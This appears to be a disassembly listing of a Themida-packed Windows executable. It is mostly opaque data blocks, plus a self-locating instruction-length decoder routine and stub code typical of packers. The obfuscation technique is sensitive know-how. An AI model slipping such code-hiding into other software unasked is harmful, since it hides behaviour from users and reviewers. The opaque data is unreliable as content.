		dd 0DB4F2114h, 0FC4BB41Dh, 7B43D69Eh, 419F6CD5h, 63500879h
		dd 32BF40D3h, 4E597D03h, 0E24BB4DBh, 0B8BC6D79h, 61DB4E59h
		dd 84B3F874h, 0D121ED0Dh, 324E7DCAh, 0FFD4FBC6h, 0B744796h
		dd 0FAA068C6h, 0A0460EEEh, 8FDDF8D3h, 0B2CEFD4Ah, 7FD4FBC6h
		dd 4B7AC716h, 0CAE4D4C4h, 1B0C248Dh, 0C798439Ch, 5DDD4F2h
		dd 73390000h, 16E1C1CDh, 0BA846470h, 5B280814h,	0C9A9B5h
		dd 0A44C4E5Ah, 78842AF3h, 1F2BD198h, 0C1CD733Fh, 677319E1h
		dd 0ACD403D0h, 85D4FC89h, 0AD753A7Ah, 14DC3A07h, 4BB1A16Eh
		dd 781EE619h, 783F9D6Ch, 0A8C905D2h, 8FF975Ah, 0E3D82EBh
		dd 0DB4E7972h, 0A10756BFh, 0B016E581h, 8228F351h, 0ECB95F2Ch
		dd 21C42C7Bh, 7D000000h, 0B105D241h, 166577C5h,	17FB54Eh
		dd 99E60000h, 4F21166Ah, 0A1E71BDBh, 0B140E2A7h, 2AF241AAh
		dd 4F20D0A4h, 0F38C49DBh, 46B7842Ah, 157E24F0h,	0B3DBA1D0h
		dd 0ED56D122h, 0DC824AA8h, 8228F0D0h, 71FBDAB5h, 9C12FD2Ch
		dd 0D63FCAE5h, 7C55DFBEh, 7C9A6F98h, 51Bh, 838F35FBh, 2632D8A3h
		dd 0CAD67C46h, 6B771DEAh, 101CC28Bh, 0ECB59A0Eh, 935A3A46h
		dd 3501E1EDh, 0DBA3838Fh, 0C5922935h, 0FC88EA96h, 0FC3C47D4h
		dd 0B95F2886h, 1EC48EECh, 400866B5h, 8A51E4ADh,	45127BE4h
		dd 0AC791FE7h, 4F1775BCh, 76EE5AA9h, 0E025CB93h, 0F4054FA4h
		dd 8EDD964Dh, 0B0F0927Ah, 1627B016h, 65000000h,	0C8B5h
		dd 0BC88E600h, 0CDFC4916h, 0DB4F20B3h, 5DAC157Eh, 5C288695h
		dd 498C67B6h, 68AFDE23h, 79D122B5h, 0A56DCB10h,	0D77EBAFFh
		dd 0B65C265Bh, 844478E9h, 6A10DD01h, 74C32C9Dh,	12B88060h
		dd 16B6A45h, 6E78DBCh, 62C0CAD0h, 0D3A6F59Bh, 0E1215F8Eh
		dd 0DC10CEA9h, 629F6384h, 0F65FC826h, 0E58B53B1h, 8B31F9D9h
		dd 0F52471BEh, 0CEA99E8Bh, 0E3AE541Bh, 85502B7Ah, 1473A2E7h
		dd 2DC492C3h, 52E7ACC4h, 7E538611h, 42660h, 842AF000h
		dd 27CD9878h, 0CB713B1Bh, 6C12DFBFh, 11B78060h,	0ACED0305h
		dd 51313DE3h, 0F8D8E48Ah, 9A7A862Ch, 89202CD2h,	87F38DBCh
		dd 333ED4FCh, 12CB5F3h,	99E60000h, 4F21166Ah, 63B21BDBh
		dd 8FDDF89Bh, 0B4FC1B4Ah, 8FE5D122h, 0AAD91EC4h, 0D4FC8DD6h
		dd 4489F25Bh, 0C03EBBF7h, 24152A21h, 3EAF77D5h,	0CA78A907h
		dd 0EBF76097h, 0E4B0430Bh, 0A7600A3Eh, 9906B5DFh, 0B8166330h
		dd 3F7B48EEh, 18AA57B9h, 5AA91296h, 0D116567Fh,	8C91F795h
		dd 5D2A60D7h, 0B2FF4EB7h, 0D064F183h, 4EFC30CAh, 63A931C9h
		dd 0B3CDFC41h, 7ECEAAFCh, 967AC15h, 0AF8F9B41h
		dd 277441E7h, 165B01C9h, 0AAFC99E7h, 0E02F98CEh, 579CD005h
		dd 94205F28h, 6179E2C4h, 8612BCD6h, 4C0B29FEh, 0CA000003h
		dd 72525E04h, 15F501A7h, 0B999A54Bh, 5A3A46ECh,	0DDDFEB91h
		dd 17BD86CBh, 0BE642B0Bh, 6006D2B2h, 6AC7454h, 679663FAh
		dd 0D4FC8719h, 75CD0D18h, 0DC3A07ADh, 0B1A16E14h, 1EE6194Bh
		dd 0E2846C78h, 19B01642h, 3Eh, 8FDDF857h, 6E441B4Ah, 44ADD138h
		dd 33D9A1FFh, 6F3997E4h, 592684C9h, 9F5064B3h, 0D501D2D4h
		dd 4854FAC2h, 0ED1C9E68h, 0D501D293h, 562A599Eh, 0DBD501D2h
		dd 0D3A00972h, 2C6B5h, 0A9756B00h, 9760BE03h, 209AE615h
		dd 2E97DB4Fh, 43A176C5h, 0E9C9D57Bh, 50AE7B21h,	7D6E288h
		dd 6C39DFA9h, 4D1ACFBh,	0D7F42368h, 7AD1383Ch, 5F154411h
		dd 37D50204h, 9BF9C66Ch, 775F2CD2h, 319D5311h, 0CC5681C3h
		dd 6B65B22h, 0E837DDA8h, 4180h,	0EDB3900h, 733D9B68h, 4D1564CDh
		dd 4A8FDDF8h, 3820681Bh, 2B70D9D1h, 8E5B01CDh, 8783E91Dh
		dd 0D6FE18C0h, 0F183B287h, 8FD5016Eh, 95D12321h, 1D401623h
		dd 187ECDA3h, 0B65B490Eh, 0BEADh, 0AD75EB00h, 9D64C207h
		dd 6AB92AF7h, 0B0C4895h, 8329F666h, 382BF24Fh, 1CC28BE9h
		dd 8329F14Fh, 0EA9058B6h, 67D30FDEh, 9DEBF8BDh,	0F285B403h
		dd 0A4DB4F1Ah, 4A2A36DCh, 8127EF82h, 22ED43B4h,	6B46137Ch
		dd 81BD026Ah, 136445FFh, 7FCC1B66h, 382A4F50h, 2D39A2D1h
		dd 226705D0h, 7AD77D5h,	7F6F89B8h, 0DA38CAF2h, 491C6B11h
		dd 743D9BE0h, 19E2C2CEh, 0E5C25B73h, 19EE987Eh,	1B2FBh
		dd 0F89E6400h, 9B410CECh, 3FE5AF8Fh, 0E0865333h, 852BF4D4h
		dd 20717779h, 0C5A5B157h, 6C4C58FEh, 0EEEFAA0h,	0FD94A046h
		dd 857F0130h, 0A7B2D4FCh, 5F288667h, 430C6AB9h,	0E9B1919Dh
		dd 0F8ED3743h, 1B4A8FDDh, 0D1382068h, 74A370D9h, 0D5022100h
		dd 8D33180h, 0D5249562h, 0DD19FB69h, 6D673AB8h,	6FB7160Bh
		dd 919F5F93h, 4CD63C8Bh, 6BB65BB7h, 0B3h, 7AD75A9h, 6D13DC3Ah
		dd 250671A0h, 43A1DB4Fh, 9708D57Bh, 7C22EA48h, 22C89070h
		dd 6FCC0855h, 0BF9FF4B2h, 0E88E59AFh, 5517BE99h, 63BEE110h
		dd 0CA33D137h, 0F87461BEh, 925A77B3h, 78CA7625h, 6AADDC29h
		dd 77CAF118h, 45AE5421h, 77B300h, 9D776373h, 0FDC62473h
		dd 0A26B4B57h, 0FD41E4FCh, 986D987Dh, 0D67Ah, 0D47A4000h
		dd 771DE8C8h, 1BC18B6Bh, 0BC622F0Fh, 6107D0B0h,	0FC5D5355h
		dd 0A1818D33h, 482834DAh, 0EACAD67Ch, 0D9707C22h, 84A3DD0Ch
		dd 838ED4FCh, 704A8643h, 6A59EF91h, 2CD29FF5h, 10B67FDDh
		dd 0CD73504h, 0F1B91766h, 75F53F4Bh, 0DC3A07ADh, 5626E14h
		dd 9C27D1D0h, 39D8113Ch, 544F8BD0h, 0D0CCFBEh, 174693E2h
		dd 0D1221208h, 55B380E9h, 55A2E78Dh, 0FBEA5A26h, 186ED7D4h
		dd 6CDDAA50h, 6129091Dh, 91BFEEBBh, 1D0052B9h, 8A52B5AFh
		dd 30F8D8E4h, 2150D29Dh, 9F221D5Fh, 970069D2h, 0F99F6CCAh
		dd 0E8460B2Ch, 0C02C7B21h, 6996184h, 58C9963Ch,	30E6F324h
		dd 0B21BED13h, 58FEC6A6h, 116D8Bh, 629E0000h, 0D5A73578h
		dd 3A035936h, 756C794h,	758C543Fh, 0DE3C09AFh, 45A37016h
		dd 0A806D379h, 106E3BE1h, 76D4A147h, 0DC3A07ADh, 3E9C690Fh
		dd 0A301CE74h, 0E86532D8h, 553768h, 240C8900h, 81E28952h
		dd 4C2h, 4EA8300h, 5C241487h, 68240489h, 728Fh,	51241C89h
		dd 17094B9h, 0E907B80Dh, 0C829275Bh, 0D8F74859h, 52F4062Dh
		dd 1C8B54DFh, 4C48124h,	81000000h, 4ECh, 24048900h, 0FF08438Fh
		dd 815B2434h, 4C4h, 24048B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_546EAD
; ---------------------------------------------------------------------------
		db 49h,	8, 0C6h
		dd 11CE06FEh, 1ED07C36h, 0C6B803F7h, 306529Dh, 0CE0FFC5h
		dd 1B347F8Eh, 0AC13E3C6h, 912B5406h, 0E9308F2Ch, 1C8h
		dd 8 dup(418888h), 4 dup(0)
		dd 8800h, 91C4h, 2 dup(11111111h), 888899C9h, 88888888h
		dd 0
		dd 600h, 4444h,	41h, 11111111h,	44444444h, 0C9880299h
		dd 100203h, 118888h, 88888888h,	11111111h, 1644h, 2 dup(88000000h)
		dd 8888h, 800000h, 88888888h, 8, 8088888h, 88888888h, 2	dup(0)
aIiiiiiiiaiiiii	db 'ˆˆˆˆˆˆˆˆ€ˆˆˆˆˆˆˆˆˆˆˆˆˆ',0
aIssi		db 'ˆ™™ˆ',8,0
		db 2 dup(0), 88h
aDdddddddiiiiii	db 'DDDDDDDDˆˆˆˆˆˆˆˆ',0
aAs		db '€™',0
		dd 88998000h, 88888888h, 88888900h, 89998888h, 0
		dd 80888880h, 88888888h, 80888888h, 88888888h, 88888880h
		dd 8888888h, 3E362E26h,	67666564h, 0F3F2F0h, 0
		dd 0FFFFFFFFh, 4016E6h,	4016FAh, 2 dup(0)
		dd 1, 14h dup(0)
aAcawu		db 'Àcíwu',0
		align 4
		dd 1, 11h dup(0)
		dd 353E9h, 0E85500h, 5D000000h,	0A035ED81h, 0C7600652h
		dd 529F8285h, 6, 3E816600h, 850FA166h, 0Fh, 9F8685C7h
		dd 60652h, 24E90000h, 8D000000h, 529F8A85h, 858D5006h
		dd 6529FDAh, 6A5650h, 1DE8h, 10C48300h,	0FF25h,	86858900h
		dd 6106529Fh, 9F86B503h, 858B0652h, 6529F82h
		db 5Dh,	0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_598FAB
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_598FB7
; ---------------------------------------------------------------------------

loc_598FAB:				; CODE XREF: Themida_:00598F94j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4

loc_598FB7:				; CODE XREF: Themida_:00598FA6j
		push	ebx
		push	esi
		push	edi

loc_598FBA:				; CODE XREF: Themida_:0059900Fj
					; Themida_:0059902Bj ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl

loc_598FCD:				; CODE XREF: Themida_:00598FF4j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 652A0ECh
		lea	ebp, [ebp+6529F62h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_598FFA
		inc	cl
		cmp	cl, 0Bh
		jb	loc_598FCD

loc_598FFA:				; CODE XREF: Themida_:00598FE9j
		cmp	cl, 0Bh
		jz	loc_599057
		cmp	al, 66h
		jnz	loc_599038
		cmp	byte ptr [ebp-5], 0
		jnz	loc_598FBA
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_599030
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_598FBA
; ---------------------------------------------------------------------------

loc_599030:				; CODE XREF: Themida_:0059901Dj
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4

loc_599038:				; CODE XREF: Themida_:00599005j
		cmp	al, 67h
		jnz	loc_598FBA
		cmp	byte ptr [ebp-6], 0
		jnz	loc_598FBA
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_598FBA
; ---------------------------------------------------------------------------

loc_599057:				; CODE XREF: Themida_:00598FFDj
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_599083
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_599088
; ---------------------------------------------------------------------------

loc_599083:				; CODE XREF: Themida_:00599062j
		movzx	edi, al
		shr	edi, 1

loc_599088:				; CODE XREF: Themida_:0059907Ej
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 652A1A4h
		lea	ebp, [ebp+6529E62h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_59920A
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_59914E
		dec	ecx
		jz	loc_599131
		dec	ecx
		jnz	loc_5991A1
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59919D
		cmp	byte ptr [ebp-5], 0
		jz	loc_599110
		mov	byte ptr [ebp+0Bh], 2

loc_599110:				; CODE XREF: Themida_:00599106j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 652A230h
		mov	dword ptr [ebp+6529F82h], 1
		pop	ebp
		jmp	loc_5991A1
; ---------------------------------------------------------------------------

loc_599131:				; CODE XREF: Themida_:005990EBj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59917B
		cmp	byte ptr [ebp-5], 0
		jz	loc_59917B
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_59917B
; ---------------------------------------------------------------------------

loc_59914E:				; CODE XREF: Themida_:005990E4j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_599194
		cmp	byte ptr [ebp-5], 0
		jz	loc_599183
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_59917B
		mov	[ebp+0Bh], cl

loc_59917B:				; CODE XREF: Themida_:00599135j
					; Themida_:0059913Fj ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5991A1
; ---------------------------------------------------------------------------

loc_599183:				; CODE XREF: Themida_:0059915Cj
		cmp	dl, 5
		jnz	loc_5991A1
		mov	[ebp+0Bh], dl
		jmp	loc_5991A1
; ---------------------------------------------------------------------------

loc_599194:				; CODE XREF: Themida_:00599152j
		cmp	dl, 6
		jnz	loc_5991A1

loc_59919D:				; CODE XREF: Themida_:005990FCj
		mov	byte ptr [ebp+0Bh], 3

loc_5991A1:				; CODE XREF: Themida_:005990F2j
					; Themida_:0059912Cj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5991CF
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx

loc_5991B1:				; CODE XREF: Themida_:005991C7j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5991B1
		mov	esi, edx

loc_5991CF:				; CODE XREF: Themida_:005991A4j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_599204
		cmp	edi, 7Fh
		ja	loc_599204
		test	bl, 38h
		jnz	loc_599204
		cmp	byte ptr [ebp-7], 0
		jz	loc_5991FE
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_599201
; ---------------------------------------------------------------------------

loc_5991FE:				; CODE XREF: Themida_:005991EFj
		push	1
		pop	eax

loc_599201:				; CODE XREF: Themida_:005991F9j
		mov	[ebp-1], al

loc_599204:				; CODE XREF: Themida_:005991D3j
					; Themida_:005991DCj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]

loc_59920A:				; CODE XREF: Themida_:005990B4j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_599235
		dec	eax
		dec	eax
		jz	loc_59922B
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_59923D
; ---------------------------------------------------------------------------

loc_59922B:				; CODE XREF: Themida_:0059921Aj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_59923A
; ---------------------------------------------------------------------------

loc_599235:				; CODE XREF: Themida_:00599212j
		mov	al, [ebp-3]
		add	al, 4

loc_59923A:				; CODE XREF: Themida_:00599230j
		add	[ebp-1], al

loc_59923D:				; CODE XREF: Themida_:00599226j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_599265
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx

loc_599250:				; CODE XREF: Themida_:0059925Fj
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_599250

loc_599265:				; CODE XREF: Themida_:00599245j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dd 5CE9D08Bh, 6F000001h, 0EBF1741Dh, 0A4976C49h, 0B10B7E5Ah
		dd 0BD527554h, 310B7654h, 0CE527D5Ah, 263B5673h, 77520426h
		dd 53C52427h, 8861907Bh, 0D5243B4h, 0D2523216h,	7D523217h
		dd 0BA523216h, 5F523216h, 0AF523216h, 0F8523216h, 0EB523216h
		dd 0FD523216h, 0FA523216h, 2E523216h, 0DB26416Fh, 0F72327Bh
		dd 0CA315D64h, 0D70F4165h, 0EB523216h, 0F5523216h, 0FA523216h
		dd 7D523216h, 0BE523216h, 5F523216h, 0AF523216h, 0D7523216h
		dd 0EB523216h, 0F5523216h, 0FA523216h, 7D523216h, 0BE523216h
		dd 5F523216h, 0AF523216h, 0D7523216h, 0EB523216h, 0F5523216h
		dd 0FA523216h, 7D523216h, 0BE523216h, 5F523216h, 0AF523216h
		dd 0D7523216h, 0EB523216h, 0F5523216h, 0FA523216h, 7D523216h
		dd 0BE523216h, 5F523216h, 0AF523216h, 0D7523216h, 0EB523216h
		dd 0F5523216h, 0FA523216h, 7D523216h, 0BE523216h, 5F523216h
		dd 0AF523216h, 0D7523216h, 0EB523216h, 0F5523216h, 0FA523216h
		dd 7D523216h, 0BE523216h, 5F523216h, 0AF523216h, 0D7523216h
		dd 0EB523216h, 0F5523216h, 0FA523216h, 7D523216h, 0BE523216h
		dd 5F523216h, 0AF523216h, 0D7523216h, 0EB523216h, 0F5523216h
		dd 0FA523216h, 7D523216h, 74523216h, 0E962CB22h, 1647h
		dd 52A6C668h, 9C80E906h, 0B968FFFBh, 0E90652A7h, 0FFFB9C76h
		dd 52A8A168h, 9C6CE906h, 9668FFFBh, 0E90652A9h,	0FFFB9C62h
		dd 52AB0A68h, 9C58E906h, 7A68FFFBh, 0E90652ACh,	0FFFB9C4Eh
		dd 52AD2C68h, 9C44E906h, 0D568FFFBh, 0E90652ADh, 0FFFB9C3Ah
		dd 52AFE568h, 9C30E906h, 0D568FFFBh, 0E90652B0h, 0FFFB9C26h
		dd 52B19568h, 9C1CE906h, 1668FFFBh, 0E90652B2h,	0FFFB9C12h
		dd 52B39668h, 9C08E906h, 1868FFFBh, 0E90652B9h,	0FFFB9BFEh
		dd 52B9E368h, 9BF4E906h, 7B1DFFFBh, 8E09B95Bh, 9BF8A84Ah
		dd 0A9EB9B3Dh, 0B7DB8B2Dh, 0AEE47D1Fh, 0D3756131h, 0C0627623h
		dd 0AE508610h, 9F4197FEh, 46F4DA32h, 0C3994432h, 7736734h
		dd 0CEB4707Dh, 92F1DF20h, 2902EC9Dh, 2E5CA5FFh,	3C9C7167h
		dd 734EFCE2h, 0B89E92F2h, 92F2740Ah, 7A2BD687h,	46920331h
		dd 0A614DEA4h, 8F0FE8CEh, 0DB8C993Fh, 8E681A06h, 0B103993Fh
		dd 25423E78h, 442A1348h, 65000000h, 774FBD87h, 1238B11Dh
		dd 3393C57Bh, 1F6506EAh, 31E2993Fh, 6A6E2959h, 2EE0CC21h
		dd 0C9993F1Fh, 4043677h, 0F0134BB2h, 0DEh, 98EBE18h, 5DC1FACFh
		dd 993F2BAFh, 897E422Ch, 0CC7B54CFh, 738DD21Bh,	0AF845443h
		dd 0AB89E76h, 8792F18Eh, 365F8DD6h, 0ACAD969h, 0E99A603Ch
		dd 22B4DE14h, 5A7E174Dh, 92464F85h, 0AFE616F0h,	15FCE029h
		dd 8F92F21Bh, 8030D206h, 0A2EEC315h, 62926AD8h,	45CA533h
		dd 3F3FE11Eh, 0BAD5E99h, 350D7B45h, 0EEEAABDBh,	3F3FDC8Ah
		dd 5FA85999h, 0F6842107h, 7AD49F8Eh, 8EF6E694h,	69B2639Fh
		dd 85B58D3Eh, 0F22A900Dh, 0D56A6B7Fh, 0C0D28224h, 0AD5E7A19h
		dd 76BBC3F2h, 8FE03580h, 13CAh,	0FFA13563h, 0EE90484Fh
		dd 0E183553Eh, 0D1736331h, 0C3657121h, 236FF42Ah, 386111B3h
		dd 484EFEA0h, 593CEC8Eh, 1870DD7Fh, 44338432h, 0A5720199h
		dd 0B3E4F59Dh, 66175025h, 578114C4h, 0BD87EEB5h, 0F091774Fh
		dd 6D993E8Dh, 49FBE7BCh, 0E4993E8Dh, 611F5992h,	0B134B20h
		dd 0D9h, 42960333h, 0A6EB346Dh,	0BE0F89Dh, 0BC1C7BABh
		dd 3765AEE7h, 0C06E545Bh, 3A92F18Dh, 6EA77C5Ah,	0D62812C3h
		dd 79DE0B30h, 0C8B4893Ah, 92F20CE1h, 0C69E3A5Bh, 6E834F5Ah
		dd 7E17AA8Ah, 9B4C855Ah, 26563052h, 0EE1C6573h,	105C31A7h
		dd 1A00D846h, 993F63DDh, 0EE9C825Ah, 6B993F63h,	4E880CBAh
		dd 0ED8F4079h, 17EF5D27h, 8F178331h, 0F6A3D39Fh, 1727D5BBh
		dd 0F3A49F8Fh, 1DCEF942h, 56821545h, 0A7FF4881h, 19BB1B77h
		dd 0F2AD2969h, 8076F2CDh, 0D785D62Bh, 56000012h, 42F29442h
		dd 31E18355h, 24D47662h, 14C46670h, 1DB6587Eh, 0B0266CE7h
		dd 9D3B5E0Eh, 8B4B4BFBh, 7C5C39E9h, 2F156DDAh, 99443481h
		dd 9DA26FFEh, 9D09E1F5h, 0EB342D0Fh, 0DCFE479Dh, 0CD6F692Ch
		dd 0A0077306h, 15B1BF53h, 0FD98C60Fh, 0C5D006DBh, 0B0CF3B13h
		dd 0A7A2FF99h, 3B3D51Eh, 3D734890h, 3CA88058h, 2FBB2B86h
		dd 1E40892Eh, 0C58FDA99h, 0CC997F57h, 49993EC0h, 0F05CB698h
		dd 7A9D188h, 684C958Bh,	90C929B7h, 0B1E6511Bh, 68195227h
		dd 2CA3690h, 85B923A8h,	0E3F62D17h, 5FB3D535h, 6AE93216h
		dd 9399716h, 0DA054E8Ah, 3E085429h, 0B89EF8D0h,	97166B0Ah
		dd 6C28D687h, 0E3C9216Ah, 9D66E008h, 0CCFCD485h, 7370FC9h
		dd 0DCFE478Fh, 6248692Ch, 9D66DFB4h, 14CF8031h,	7E4EBAF9h
		dd 0EF9DEE43h, 3E000011h, 2ADA7C5Ah, 19C96B6Dh,	0CBC5E7Ah
		dd 0FCAC4E88h, 59E4096h, 983E54CFh, 855346F6h, 736333E3h
		dd 647421D1h, 17FD55C2h, 99443569h, 9D8A57E6h, 0BF0BE0F8h
		dd 0C9AF87F5h, 993E99CCh, 46F69849h, 68B4894Fh,	0FE58309Eh
		dd 3E13C5CEh, 0CFD8BC05h, 4C9F913Ch, 2079B162h,	568F6472h
		dd 0E2D6786Ch, 93FF5931h, 856BE716h, 9F9132D7h,	7DB9A354h
		dd 391FF79Bh, 9F910F8Bh, 0E00E5708h, 0D18123B5h, 0C3C14C4h
		dd 8F49508Bh, 0FBD081BAh, 0D82479C2h, 98C8A00Eh, 3A92DBFDh
		dd 0F1E7B0E0h, 0B39BC4A8h, 0BBEBA5E3h, 44F2D8D7h, 0C1A5E3B3h
		dd 548A5F10h, 88C19640h, 6D6929D7h, 0EB165F98h,	6332623Ah
		dd 7223D375h, 4348E66h,	33E14593h, 0B0A5E3B3h, 1561B6FFh
		dd 1F05DD4Bh, 0AC30D77Ah, 8B5049F7h, 0BCF5CA0Eh, 4CFD360Bh
		dd 18B28091h, 1061B68Dh, 10FAh,	0CF716533h, 0BE60781Fh
		dd 0B153850Eh, 0A1439301h, 9335A1F1h, 533FC4FAh, 6831E183h
		dd 781ECE70h, 890CBC5Eh, 0E840AD4Fh, 44365402h,	7542D199h
		dd 3FE1F59Dh, 5044AF79h, 0C778B186h, 306595EFh,	3CEAD0A8h
		dd 0B992F18Dh, 0FADBBF08h, 77993EABh, 0DABBF1C6h, 0E9AC5CFEh
		dd 0AEE717EFh, 278004F1h, 73240DACh, 0C71C659Eh, 4E46B17Bh
		dd 0C97AB388h, 0D2F20BF1h, 0BE6F9F8Bh, 3079CDE9h, 0F1934550h
		dd 29ADE717h, 64D29CE0h, 0F1C5A68Ch, 0E515A5D8h, 0B3DE27AFh
		dd 98498D05h, 5F3666C0h, 76BA479h, 0A5D8F159h, 0F215C3A9h
		dd 0E192A5D8h, 0E73C8536h, 1CF4E4B1h, 5B30A6ECh, 4784D922h
		dd 0ECB6B4F5h, 0DFC0A67Eh, 5CAC2610h, 10F09E84h, 0BC6DAC26h
		dd 0DCB9690Bh, 893B27FCh, 4EAC2620h, 3A5B2B84h,	494CFC9Eh
		dd 0C6AC0592h, 0AC262118h, 5E33E495h, 539F7425h, 600EF489h
		dd 0DDAC2620h, 0BD1B7E2Ch, 6D4E340Ch, 0EAB2732Fh, 70129739h
		dd 0DBB321EBh, 0A7F0E8ABh, 0D368694Fh, 34E5B8C5h, 6E682C5Ch
		dd 3969C325h, 70A97E5Ah, 3D99F927h, 0D3CA7C68h,	642EB8C5h
		dd 8B3C9CF9h, 0C57359B3h, 3FB8C5D3h, 70A97E5Ah,	73CB14C5h
		dd 18776C8Dh, 6038E9BFh, 664C6530h, 0BF1877B8h,	8AD38435h
		dd 45930232h, 36A2F3A3h, 6F672B61h, 52ADB4h, 297ACFA0h
		dd 0F86h, 43E5F1A7h, 32D40493h,	25C71182h, 15B71F75h, 7A92D65h
		dd 0D7BB386Eh, 0ECAD5DFFh, 0FC9A4AECh, 0D8838DAh, 64BC29CBh
		dd 4438D07Eh, 0F1BE4D99h, 0D4BAF59Dh, 92F18E26h, 37E5CBA3h
		dd 0B492F18Eh, 0FFA15203h, 399DF525h, 6D532B64h, 92F18EBFh
		dd 14428B3Ch, 4C825781h, 0D2049249h, 7D164C21h,	4950865Bh
		dd 0EDABA8Fh, 0B57FE2DDh, 0CF098C74h, 2155332Dh, 681F1506h
		dd 5A000001h, 0BE0F89Dh, 7618C0D5h, 0A078E6B0h,	3EA9E1BAh
		dd 0E5B05E99h, 34E51EF3h, 0C8CFFF5Fh, 31E3C710h, 0CC993EA9h
		dd 9EF480ECh, 1AB29215h, 94A607D1h, 134BF5F4h, 4C80h, 2178A800h
		dd 87296EB7h, 47774FBDh, 0CE0A8D4Eh, 967CD41Dh,	993E8DF5h
		dd 0ECC172h, 993E8D4Eh,	499D09E9h, 15617AAFh, 61CA94DDh
		dd 4BFEB957h, 0C24313h,	116B0000h, 828D51A5h, 4CB0E356h
		dd 993E999Eh, 0B0286D1Bh, 0A8F1A2DBh, 0E0F89D63h, 19BDD50Bh
		dd 18870E44h, 0FF85FC9h, 0E5BA6B25h, 50F2E6AFh,	0F27F03EAh
		dd 6FE75392h, 1B3DB013h, 36A2F7A5h, 0B1DF2861h,	8C52F4E4h
		dd 964257C2h, 0FFD788C1h, 0BFD87093h, 3C85F7FBh, 4A308AE4h
		dd 92F24B9Ch, 3B1F6819h, 9942000Bh, 0CFFFD788h,	0E13B13C3h
		dd 41FF4DFBh, 0D019CA99h, 4294FEAEh, 29DA8A87h,	0F243987Ah
		dd 0E16h, 0B3558117h, 0A2449403h, 9537A1F2h, 8527AFE5h
		dd 7719BDD5h, 672BA8DEh, 7C1DCD6Fh, 8C0ABA5Ch, 9DF8A84Ah
		dd 0D42C993Bh, 443940EEh, 612EBD99h, 3FE1F59Dh,	0BFD5068Fh
		dd 0FDC46617h, 0BE0F89Dh, 7618C0D5h, 3409CFC6h,	0E4F2A4D4h
		dd 498DD60Fh, 0DF39117Fh, 0F18D4BF9h, 7B59B92h,	8492F18Eh
		dd 2E7728D3h, 946BF0D6h, 37E8993Eh, 76CCA95h, 9D850000h
		dd 9D09E1F5h, 760A43B9h, 4297E01Bh, 0F1CFA456h,	0D03E0892h
		dd 72F912F8h, 0C5769944h, 0D8BDEDh, 442A845Eh, 99447296h
		dd 0EB196213h, 23592EAAh, 0B9AC676Fh, 0B37A2C4Dh, 0D640D5Eh
		dd 0CFC90000h, 0E2B56507h, 0EFA454F6h, 0FD9747E9h, 0B8737D9h
